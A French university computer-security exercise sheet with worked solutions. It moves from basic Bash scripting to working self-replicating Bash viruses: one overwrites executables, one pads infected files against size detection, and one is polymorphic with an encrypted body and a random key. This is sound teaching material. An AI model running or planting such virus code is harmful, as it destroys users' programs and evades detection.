**Université de Perpignan**
C. Legrand

L3 Informatique
Année 2026

TD3 Sécurité Informatique – Corrigé
Virus interprétés

**Avertissement éthique et légal**

Les techniques présentées dans ce TD sont étudiées dans un **cadre strictement académique** afin de comprendre les mécanismes utilisés par les logiciels malveillants et ainsi pouvoir mieux s'en protéger.
**Toute utilisation de ces techniques en dehors du cadre pédagogique est illégale** et passible de sanctions pénales (chapitre III du Code pénal, articles 323-1 à 323-8 – *Des atteintes aux systèmes de traitement automatisé de données*) :

- Accès ou maintien frauduleux dans un STAD (art. 323-1) : **3 ans** d'emprisonnement et **100 000 €** d'amende
- Entrave au fonctionnement d'un STAD (art. 323-2) : **5 ans** d'emprisonnement et **150 000 €** d'amende
- Introduction frauduleuse de données dans un STAD (art. 323-3) : **5 ans** d'emprisonnement et **150 000 €** d'amende

Peines portées à **7 ans** et **300 000 €** lorsque le système visé traite des données à caractère personnel mis en œuvre par l'État, et jusqu'à **10 ans** et **300 000 €** en bande organisée (art. 323-4-1). *Peines mises à jour par la loi LOPMI n° 2023-22 du 24 janvier 2023.*

# 1 Quelques scripts en BASH

**Exercice 1.** Vous allez réaliser votre premier script. Pour l'executer n'oubliez pas de donner au fichier le droit d'execution.

1. Ecrire un script qui affiche les informations suivantes
   - Une phrase contenant le nom de l'utilisateur et le type de shell utilisé ;
   - La date (on utilisera la commande `date`).
2. Modifiez le précédent script afin qu'il indique aussi la saison en fonction de la date du jour.

## Rappel de cours

**Bases du scripting Bash :**
Un script Bash est un fichier texte contenant une suite de commandes interprétées par le shell. Il doit commencer par un **shebang** qui indique l'interpréteur à utiliser :

```
#!/bin/bash
```

Pour rendre un script exécutable : `chmod +x mon_script.sh`

**Variables prédéfinies utiles :**

- `$USER` : nom de l'utilisateur courant
- `$SHELL` : chemin du shell utilisé (ex : `/bin/bash`)
- `$HOME` : répertoire personnel de l'utilisateur
- `$PWD` : répertoire courant

**Substitution de commande :** `$(commande)` exécute `commande` et remplace l'expression par sa sortie standard. Exemple : `mois=$(date +%m)` stocke le numéro du mois dans la variable `mois`.

**Structure conditionnelle :**

```
if [ condition ]; then
    commandes
elif [ condition ]; then
    commandes
fi
```

**Opérateurs de comparaison entière :**

| Opérateur | Signification | Exemple |
|---|---|---|
| `-eq` | Égal à (*equal*) | `[ $a -eq $b ]` |
| `-ne` | Différent de (*not equal*) | `[ $a -ne $b ]` |
| `-lt` | Inférieur strict (*less than*) | `[ $a -lt $b ]` |
| `-gt` | Supérieur strict (*greater than*) | `[ $a -gt $b ]` |
| `-le` | Inférieur ou égal (*less or equal*) | `[ $a -le $b ]` |
| `-ge` | Supérieur ou égal (*greater or equal*) | `[ $a -ge $b ]` |

**Combinaison de conditions :** `-a` (ET logique), `-o` (OU logique). Exemple : `[ $a -gt 3 -a $a -le 6 ]`.

**Correction 1.** *Le script suivant répond aux questions de l'exercice:*

```
#!/bin/bash

echo "Bonjour $USER, vous utilisez  le shell $SHELL"
echo "Aujourd'hui nous sommes le $(date +%D)"

# on indique la saison (pour simplifier je n'ai tenu compte que du
    mois
```

```
mois=$(date +%m)

if [ $mois -le 3 ]
then
echo "Nous sommes en hiver"
elif [ $mois -gt 3 -a  $mois -le 6 ]
then
echo "Nous sommes au printemps"
elif [ $mois -gt 6 -a  $mois -le 9 ]
then
echo "Nous sommes en ete"
elif [ $mois -gt 9 -a  $mois -le 12 ]
then
echo "Nous sommes a l'automne"
fi
echo "La frequence du processeur est:"
cat /proc/cpuinfo | grep GHz | head -n 1 | cut -d "@" -f2
```

***Attention***

*En Bash, il ne faut **pas d'espace** autour du signe `=` lors de l'affectation d'une variable.*

- `mois=$(date +%m)` ✓ *correct*
- `mois = $(date +%m)` × *erreur : Bash interprète `mois` comme une commande*

*En revanche, les espaces sont **obligatoires** à l'intérieur des crochets de test : `[ $mois -le 3 ]`.*

***Point clé à retenir***

- *Le **shebang** (`#!/bin/bash`) en première ligne indique au système quel interpréteur utiliser.*
- *Les variables prédéfinies `$USER`, `$SHELL`, `$HOME` donnent accès aux informations de l'environnement.*
- *La **substitution de commande** `$(commande)` permet de capturer la sortie d'une commande dans une variable.*
- *Les opérateurs de comparaison entière (`-eq`, `-ne`, `-lt`, `-gt`, `-le`, `-ge`) sont spécifiques à Bash et différents des opérateurs C.*

**Exercice 2.** Rappelons que la syntaxe pour la boucle while est la suivante en bash:

```
while test
do
  command(s)
done
```

1. Écrire un script appelé `countdown` qui écrit sur la sortie standard quelque chose comme

```
10
9
8
```

```
7
6
5
4
3
2
1
GO!
```

2. Modifier le script `countdown` pour qu'il prenne en paramètre le nombre a partir duquel il va démarrer le countdown.

## Rappel de cours

**Boucle `while` en Bash :**
La boucle `while` exécute un bloc de commandes tant que la condition (test) est vraie (code de retour 0) :

```
while [ condition ]
do
    commandes
done
```

**Arithmétique en Bash :**

- `$(($var - 1))` : évaluation arithmétique (soustraction)
- `$(($var + 1))` : évaluation arithmétique (addition)
- `let "var=var+1"` : alternative avec `let`

**Paramètres positionnels et variables spéciales :**

| Variable | Signification |
|---|---|
| `$0` | Nom du script en cours d'exécution |
| `$1`, `$2`, ... | 1$^{er}$, 2$^{e}$, ... argument passé au script |
| `$#` | Nombre d'arguments passés au script |
| `$@` | Tous les arguments (sous forme de liste) |
| `$?` | Code de retour de la dernière commande (0 = succès) |
| `$$` | PID du processus courant (du script) |
| `$!` | PID du dernier processus lancé en arrière-plan |

**Correction 2.** *Le script répondant a la question 1 est le suivant*

```
#!/bin/bash
compteur=10
while [ $compteur -gt 0 ]
do
 echo $compteur
 compteur=$(($compteur-1))
done
```

*pour la question 2 on a juste a modifier l'affectation* `compteur=10` *en* `compteur=$1`

***Point clé à retenir***

- *La boucle* `while` *teste sa condition* ***avant*** *chaque itération (zéro itération possible si la condition est fausse dès le départ).*
- *L'arithmétique en Bash se fait via* `$((...))` *; les opérateurs classiques* `+`, `-`, `*`, `/`, `%` *sont disponibles.*
- `$1` *désigne le premier argument passé au script sur la ligne de commande.*
- *La* ***paramétrisation*** *d'un script (remplacement de constantes par des paramètres) le rend réutilisable dans différents contextes.*

**Exercice 3.**

1. Écrivez un script bash qui parcourt le contenu d'un répertoire et compte le nombre de fichier régulier et le nombre de répertoire, il affiche ces deux nombres a la fin.
2. (facultatif) Écrire un script qui parcourt une arborescence de fichiers et qui envoie sur l'entrée standard les noms des fichiers dont la date de derniere modification précede une date donnée en parametre.

## Rappel de cours

**Boucle `for` en Bash :**
La boucle `for` itère sur une liste de valeurs :

```
for variable in liste
do
    commandes
done
```

Exemple : `for file in *` parcourt tous les fichiers du répertoire courant.

**Fonctions en Bash :**

```
function nom_fonction {
    commandes
    # $1 = premier argument de la fonction
}
nom_fonction arg1 arg2    # appel
```

**Tests sur les fichiers :**

| Opérateur | Signification | Exemple |
|---|---|---|
| `-f` | Fichier régulier | `[ -f "$f" ]` |
| `-d` | Répertoire (directory) | `[ -d "$f" ]` |
| `-e` | Existe (fichier ou répertoire) | `[ -e "$f" ]` |
| `-x` | Exécutable | `[ -x "$f" ]` |
| `-w` | Accessible en écriture (writable) | `[ -w "$f" ]` |
| `-r` | Accessible en lecture (readable) | `[ -r "$f" ]` |
| `-s` | Taille non nulle (non vide) | `[ -s "$f" ]` |
| `-L` | Lien symbolique | `[ -L "$f" ]` |

**La commande `export` :** rend une variable accessible aux processus fils (sous-shells, scripts appelés). Sans `export`, une variable n'est visible que dans le shell courant.

**Correction 3.** • *Question 1.*

```
#!/bin/bash

nbrep=0
nbfic=0

for file in *
do
#echo $file
if [ -f $file ]
then
    nbfic=$(($nbfic+1))
fi
if [ -d $file ]
then
    nbrep=$(($nbrep+1))
fi
done
```

```

echo "nombre de fichiers reguliers= $nbfic"
echo "nombre de repertoires= $nbrep"
```

- *Question 2. Une solution pratique ici est d'utiliser une fonction recurive. Pour simplifier, on compare la date de creation avec l'annee donnée en parametre uniquement.*

```bash
#!/bin/bash

anneelim=$1
export anneelim

function rec {
    #echo $1
    for i in *
    do
    if [ -d "$i" ]
    then
        cd $i
        rec $i
    elif [ -f "$i" ]
    then
            # on recupere l'annee de
        DT=$(ls --full-time $i | cut -d " " -f6)

        annee=$(echo $DT | cut -d "-" -f1)
        #echo "$DT et $annee"
            # on compare avec l'annee donne en parametre du script
        if [ $annee -gt  $anneelim ]
        then
        echo "$i a ete cree en $DT il se trouve dans $(pwd)"
        fi
    fi
    done
}

rec ./
```

**Attention**

*Pensez à mettre des* ***guillemets*** *autour des variables contenant des noms de fichiers : `"$file"` au lieu de `$file`. Si un nom de fichier contient des espaces (ex : `mon fichier.txt`), le shell interprétera chaque mot comme un argument séparé sans guillemets, provoquant des erreurs.*

***Point clé à retenir***

- *La boucle* `for file in *` *parcourt tous les fichiers et répertoires du répertoire courant.*
- *Les tests* `-f` *(fichier régulier) et* `-d` *(répertoire) permettent de distinguer les types d'entrées.*
- *La* ***récursion*** *en Bash se fait via des fonctions qui s'appellent elles-mêmes après un* `cd` *dans les sous-répertoires.*
- `export` *est indispensable pour qu'une variable soit visible dans les appels récursifs (sous-shells).*
- `ls -full-time` *affiche la date complète de dernière modification, utile pour les comparaisons temporelles.*

## 2 Programmation de virus en bash

Méthode : Lors de vos développements et de vos tests procédez comme suit:

- Editez votre virus ainsi qu'un script cible (qui fait juste un echo "cible") dans un répertoire de travail.
- Pour tester copiez le virus et le script cible dans un sous-répertoire et exécutez-le et analysez ce qui s'est passé.

Pour plus de précaution (ce que l'on ne fera pas en TD car les virus faits en TD ne se propagent que dans le répertoire de test), l'utilisation d'une machine virtuelle est recommandée.

**Exercice 4** (Amélioration du virus `UNIX_OWR`)**.**

1. Modifier le virus `UNIX_OWR` pour que son action s'étende aux sous-répertoires et ne concerne que les fichiers exécutables, autres que le fichier infectant en cours.
2. Comment peut-on lutter contre l'uniformité des tailles après infection?

## Rappel de cours

**Anatomie d'un virus écrasant (*overwriting*) en Bash :**
Un virus écrasant remplace le contenu du fichier cible par son propre code via la commande `cp $0 $fichier_cible`. C'est le type de virus le plus simple mais aussi le plus destructeur : le programme original est irrémédiablement perdu.

**Commandes clés :**

- `cp $0 $file` : copie le script en cours d'exécution (`$0`) sur le fichier cible
- `basename $0` : extrait le nom du fichier sans le chemin (ex : `basename /home/user/virus.sh` → `virus.sh`)

**Schéma textuel – infection par écrasement :**

```
AVANT infection :                APRES infection :
+---------------------+         +---------------------+
| Programme original  |         | Code du virus       |
| (contenu utile)     |         | (copie de $0)       |
| ...                 |         | ...                 |
| N lignes            |         | M lignes (M != N)   |
+---------------------+         +---------------------+

Consequence : le programme original est DETRUIT.
La taille du fichier change (N -> M lignes).
```

**Problème de l'uniformité des tailles :** après infection, tous les fichiers infectés ont la même taille (celle du virus). C'est un **indicateur de compromission** (IoC) facilement détectable.

**Correction 4.** *1. Le code suivant répond à la question. On ne descend que d'un niveau dans les sous répertoires.*

```bash
#!/bin/bash

#Overwritter I
for file in *; do #pour tout fichier
    if [ -d $file ]; then # si on recontre un repertoire
        cd $file #on se positionne dans ce repertoire
        for file1 in *; do #pour tout fichier du repertoire
        if [ -x $file1 -a -w $file1 ]; then
                cp "../$0" $file1 #ecraser le fichier cible par le virus
        fi
        done
        cd ..
    fi
    echo $file
    name1=$(basename $0)
    name2=$(basename "./$file")
    echo "$name1 != $name2 ??"
    if [ "$name1" != "$name2" ]
    then
    echo "oui pour $name2"
    if [  -x $file -a -w $file ]; then
```

```
22          echo "cp $0 $file"
23              cp $0 $file #ecraser le fichier cible par le virus
24      fi
25      fi
26  done
```

*Si l'on souhaitait infecter la totalité de l'arborescence des fichiers du repertoire (sous-repertoires, sous-sous repertoires, etc), il faudrait faire une fonction recursive, la copie se ferait a partir du chemin absolu contenant le fichier infectant.*

**Attention**

*Le virus doit éviter de s'auto-infecter ! La comparaison* `basename $0 != basename ./$file` *est indispensable. Sans cette vérification, la commande* `cp $0 $0` *écraserait le virus par lui-même, ce qui pourrait le corrompre.*

2. *La technique utilisée ici est de rajouter la ligne* `echo ön rajoute des lignes¨` *pour avoir le meme nombre de ligne que dans le fichier initial.*

```
1  #!/bin/bash
2
3  #Overwritter I
4  for file in *; do #pour tout fichier
5      if [ -d $file ]; then # si on recontre un repertoire
6          cd $file #on se positionne dans ce repertoire
7          for file1 in *; do #pour tout fichier du repertoire
8          if [ -x $file1 -a -w $file1 ]; then
9                  nbligne=$(wc -l $file | cut -d" " -f 1  )
10                 cp "../$0" $file1 #ecraser le fichier cible par le
       virus
11                 count=0
12             while [ $count -le $(($nbligne - 37)) ]; do
13                echo "echo \"on rajoute deslignes\"" >> $file
14                count=$(($count+1))
15             done
16             echo "$count $nbligne $file"
17         fi
18         done
19         cd ..
20     fi
21     name1=$(basename $0)
22     name2=$(basename "./$file")
23     echo "$name1 != $name2 ??"
24     if [ "$name1" != "$name2" ]
25     then
26     if [ -x $file -a -w $file -a "$0" != "./$file" ]; then
27             nbligne=$(wc -l $file | cut -d" " -f 1  )
28             cp $0 $file  #ecraser le fichier cible par le virus
29             count=0
30         while [ $count -le $(($nbligne - 37)) ]; do
31         echo "echo \"on rajoute deslignes\"" >> $file
32         count=$(($count+1))
33         done
34         echo "$count $nbligne $file"
35     fi
```

```
        fi
done
```

***Point clé à retenir***

- *`cp $0 $file` est le mécanisme central d'un virus écrasant : il copie le virus sur la cible.*
- *`basename` permet d'extraire le nom du fichier et d'éviter l'auto-infection en comparant le nom du virus avec celui de la cible.*
- *L'**uniformité des tailles** après infection est un indicateur de compromission (IoC) : tous les fichiers infectés ont la même taille que le virus.*
- *Le **padding** (`wc -l` + ajout de lignes) permet de conserver la taille originale du fichier, rendant l'infection plus difficile à détecter.*
- *Un parcours récursif complet nécessiterait une fonction récursive avec un chemin absolu pour la copie du virus.*

**Exercice 5.**

1. Faire un script qui prend un fichier en argument, et applique une substitution des caractères ou une partie des caractères. Vous pourrez utiliser pour cela la commande `tr`.
2. En utilisant le code de la première question, faites une version du code d'`vbashp.sh` afin qu'il ajoute un son code préalablement chiffré au fichier cible.
3. Dans un fichier contenant le code viral chiffré de la question 2) : faites le précéder d'un code de restauration qui
   - sélectionne les lignes chiffrées,
   - les déchiffre et les mets dans un fichier temporaire,
   - Exécute le fichier temporaires pour lancer la phase d'infection.
4. De quel problème souffre encore le virus que vous avez obtenu? Proposez une stratégie pour régler ce problème.

## Rappel de cours

**La commande `tr` (translate) :**
`tr` effectue une substitution caractère par caractère sur l'entrée standard :

```
echo "hello" | tr "helo" "HELO"    # affiche HELLO
cat fichier.txt | tr ["abc"] ["xyz"]    # substitue a->x, b->y, c
    ->z
```

**Substitution monoalphabétique :**
Chaque lettre de l'alphabet clair est remplacée par une lettre de l'alphabet chiffré, selon une table de correspondance fixe.

| Alphabet | Correspondance |
|---|---|
| Clair | `abcdefghijklmnopqrstuvwxyz` |
| Chiffré | `hijabcdefgmnopqrstuvwxyzkl` |

Exemple : `echo` (clair) → `bjdq` (chiffré), `bash` → `ihue`.

**Polymorphisme interprété :**
Un virus polymorphe change son apparence (code chiffré) à chaque infection tout en conservant le même comportement. Dans un langage interprété (Bash), le code viral est stocké **chiffré** dans le fichier cible. À l'exécution :

1. Le **décrypteur** (en clair) extrait et déchiffre la partie virale
2. Le code déchiffré est écrit dans un fichier temporaire
3. Le fichier temporaire est exécuté (phase d'infection)

**Talon d'Achille :** le décrypteur reste **en clair** dans chaque fichier infecté. C'est le point faible exploitable par les antivirus pour construire une signature.

**Correction 5.** *1. Nous effectuons les substitutions avec la commande tr: le petit script ci-dessous effectue une subsitution du fichier `$1` encodée dans `tab1`*

```
tab0="abcdefghijklmnopqrstuvwxyz"
tab1="hijabcdefgmnopqrstuvwxyzkl"

#cat $1 | tr  ["$tab1"] ["$tab0"] > fichier-$$.txt
cat $1 | tr  ["$tab0"] ["$tab1"] > fichier-$$.txt
```

*2. Nous appliquons cette technique pour améliorer le virus `vbashp.sh` chiffré par substitution, en le précédant d'un code de restauration.*

```
#!/bin/bash

tab0="abcdefghijklmnopqrstuvwxyz"
tab1="hijabcdefgmnopqrstuvwxyzkl"

tail -n 11  $0 | tr  ["$tab1"] ["$tab0"] > fichier-$$.sh
#cat $1 | tr  ["$tab0"] ["$tab1"] > fichier-$$.txt
chmod u+x fichier-$$.sh
```

```
9  #./fichier-$$.sh # partie a decommenter si l'on veut une recopie
10 exit 0
11
12 #!/ifp/ihue
13
14 bjeq "jqab eqvb"
15
16 cqt f fp *.ue;
17  aq # rqwt vqwu nbu cfjefbtu hxbj n'bzvbpufqp ue
18 fc vbuv  "./$f" != "$0";
19    vebp # uf jfinb != cfjefbt fpcbjvhpv bp jqwtu
20    vhfn -p 9 $0  >> $f; # hgqwv jqab aw xftwu
21 cf
22 aqpb
```

**Attention**

*Le **décrypteur** (lignes 1-10) est en clair dans le fichier infecté. C'est le point faible de cette technique : un antivirus peut construire une signature à partir du code de déchiffrement, même si le code viral lui-même change à chaque infection.*

3. *Le code suivant repond à la question*

```
1  #!/bin/bash
2
3  tab0="abcdefghijklmnopqrstuvwxyz"
4  tab1="haigbcevrfwnyopjmqdstuxzkl"
5
6  #Overwritter I
7  for file in *; do #pour tout fichier
8      if [ -x $file -a "$0" != "./$file" -a "$name" != "./$file" ];
       then
9      echo "infection de $file par ajout de partie virale chiffree"
10         #On ajoute la partie firale chiffree
11     tail -n 11  $0 | tr  ["$tab1"] ["$tab0"] >> $file
12     fi
13 done
```

4. *Le code est donné ci-dessous: il y a une partie de restauration qui s'occupe de dechiffré la partie virale vers un fichier temporaire, en y ajoutant au prealable le nom du script infectant ainsi que la subsitution de chiffrement dechiffrement.*

```
1  #!/bin/bash
2
3  tab0="abcdefghijklmnopqrstuvwxyz"
4  tab1="haigbcevrfwnyopjmqdstuxzkl"
5
6  echo "#!/bin/bash " > .temp1.sh
7  echo "tab0=\"$tab0\"" >> .temp1.sh
8  echo "tab1=\"$tab1\"" >> .temp1.sh
9  echo "name=\"$0\"" >> .temp1.sh
10 tail -28 $0 | tr  ["$tab0"] ["$tab1"]  >> .temp1.sh
11 chmod u+x .temp1.sh
12 ./.temp1.sh
13 exit 0
```

```

#Ohgikicuugi I
jni jczg cl *; sn #onvi unvu jcfacgi
    cj [ -w $jczg -b "$0" != "./$jczg" -b "$lbqg" != "./$jczg" ]; uagl
    gfan "cljgfucnl sg $jczg"
    v=$$
    v=$(($v % 26))
    u=$ube1
    c=0
    kaczg [ $c -zg $v ]; sn
        u=$(gfan $u | ui ["$ube1"] ["$ube0"])
        c=$(($c+1))
    snlg
        #Ol gfibtg bhgf zg fnsg sg igtubvibucnl
    #gfan "#!/ecl/ebta " > $jczg
    gfan "ube0=\"$ube0\"" >> $jczg
    gfan "ube1=\"$u\"" >> $jczg
    gfan 'gfan "#!/ecl/ebta " > .ugqo1.ta' >> $jczg
    gfan 'gfan "ube0=\"$ube0\"" >> .ugqo1.ta' >> $jczg
    gfan 'gfan "ube1=\"$ube1\"" >> .ugqo1.ta' >> $jczg
    gfan 'gfan "lbqg=\"$0\"" >> .ugqo1.ta' >> $jczg
    gfan 'ubcz -l 28 $0 | ui ["$ube0"] ["$ube1"] >> .ugqo1.ta' >> $jczg
    gfan 'faqns v+w .ugqo1.ta' >> $jczg
    gfan './.ugqo1.ta' >> $jczg
    gfan 'gwcu 0' >> $jczg
        gfan "$u"
    ubcz -l 28 $0 | ui ["$u"] ["$ube0"] >> $jczg
    jc
snlg
```

*Ce même code mais en clair est donné ci-dessous, il se propage par ajout, et change la clef de chiffrement à chaque infection.*

- *La portion de code* `u=$$ j... i=$((i+1)) done` *sert à randomiser la substitution utiliser dans le chiffrement.*
- *La portion de code consistant en la serie de echo correspond au code de restauration.*
- *L'ajout du code infectant chiffree est fait avec la commande* `tail -n 29 $0 | tr ["$tab1"] ["$tab0"] » $file`.

```
#!/bin/bash
tab0="abcdefghijklmnopqrstuvwxyz"
tab1="haigbcevrfwnyopjmqdstuxzkl"
name="./vbashp-improved-avec-code-chiffre.sh"
#Overwritter I
for file in *; do #pour tout fichier
    if [ -x $file -a "$0" != "./$file" -a "$name" != "./$file" ]; then
    echo "infection de $file"
    u=$$
    u=$(($u % 26))
    t=$tab1
    i=0
```

```
13      while [ $i -le $u ]; do
14          t=$(echo $t | tr ["$tab1"] ["$tab0"])
15          i=$(($i+1))
16      done
17          #On ecrase avec le code de restauration
18      #echo "#!/bin/bash " > $file
19      echo "tab0=\"$tab0\"" >> $file
20      echo "tab1=\"$t\"" >> $file
21      echo 'echo "#!/bin/bash " > .temp1.sh' >> $file
22      echo 'echo "tab0=\"$tab0\"" >> .temp1.sh' >> $file
23      echo 'echo "tab1=\"$tab1\"" >> .temp1.sh' >> $file
24      echo 'echo "name=\"$0\"" >> .temp1.sh' >> $file
25      echo 'tail -n 28 $0 | tr ["$tab0"] ["$tab1"] >> .temp1.sh'
      >> $file
26      echo 'chmod u+x .temp1.sh' >> $file
27      echo './.temp1.sh' >> $file
28      echo 'exit 0' >> $file
29          echo "$t"
30      tail -n 28 $0 | tr ["$t"] ["$tab0"] >> $file
31      fi
32  done
```

**Surinfection**

*Le virus n'a pas de mécanisme pour vérifier si un fichier est déjà infecté. Il ajoutera son code à chaque exécution, augmentant la taille du fichier indéfiniment. C'est un indicateur de compromission facilement détectable.*

5. *Le problème est la gestion de la surinfection, une technique possible consiste à insérer un marqueur dans la partie chiffrée.*

**Point clé à retenir**

- *La commande* `tr` *effectue une substitution caractère par caractère, idéale pour implémenter un chiffrement monoalphabétique en Bash.*
- *Le* ***polymorphisme*** *rend chaque copie du virus différente en binaire, empêchant la détection par signature du code viral chiffré.*
- *La* ***clé aléatoire*** *basée sur* ***$$*** *(PID du processus) varie à chaque exécution, générant une substitution différente à chaque infection.*
- *Le décrypteur reste* ***en clair*** *: c'est le talon d'Achille du virus polymorphe interprété, exploitable par les antivirus.*
- *La* ***surinfection*** *(réinfection d'un fichier déjà infecté) est un problème classique résolu par l'ajout d'un marqueur.*

## 3 Virus résident en C

**Exercice 6.** Nous allons implémenter certaines fonctionnalité d'un virus résident.

1. Ecrire un programme en langage C qui raffraichit régulièrement son code et a pour effet de modifier son PID. Vous pourrez utiliser les fonctions suivantes

```
pid_t fork();
int execlp(const char * application, const char * arg, ... );
sleep(int sec);
```

2. (Facultatif) En vous basant sur le code de la question 1, vous implémenterez un virus résident, qui surveille les fichiers d'un répertoire, et si un des fichiers est modifié il l'écrase avec son propre code. (Indication: vous utiliserez pour cela les fonctions de `time.h` et les fonctions `readdir` pour parcourir un répertoire et `stat` pour récupérer les informations du fichier).

## Rappel de cours

**Processus Unix et virus résident :**
Un **virus résident** reste actif en mémoire après l'exécution du programme hôte. En C sous Unix, cela s'implémente avec les primitives de gestion de processus.

**Fonctions POSIX clés :**

| Fonction | Description |
|---|---|
| `fork()` | Crée un processus fils identique au père. Retourne 0 dans le fils, le PID du fils dans le père, -1 en cas d'erreur. |
| `execlp(app, arg, ...)` | Remplace le processus courant par le programme `app`. Le processus garde le même PID. |
| `sleep(sec)` | Suspend l'exécution pendant `sec` secondes. |
| `getpid()` | Retourne le PID du processus courant. |
| `readdir()` | Lit les entrées d'un répertoire ouvert. |
| `stat()` | Récupère les métadonnées d'un fichier (taille, dates, permissions). |

**Principe du rafraîchissement :** le virus fait un `fork()` suivi d'un `execlp()` de lui-même, ce qui crée un nouveau processus avec un nouveau PID. Le processus père se termine, rendant la détection par PID plus difficile. Un `sleep()` entre chaque cycle réduit la consommation CPU et rend le virus plus discret.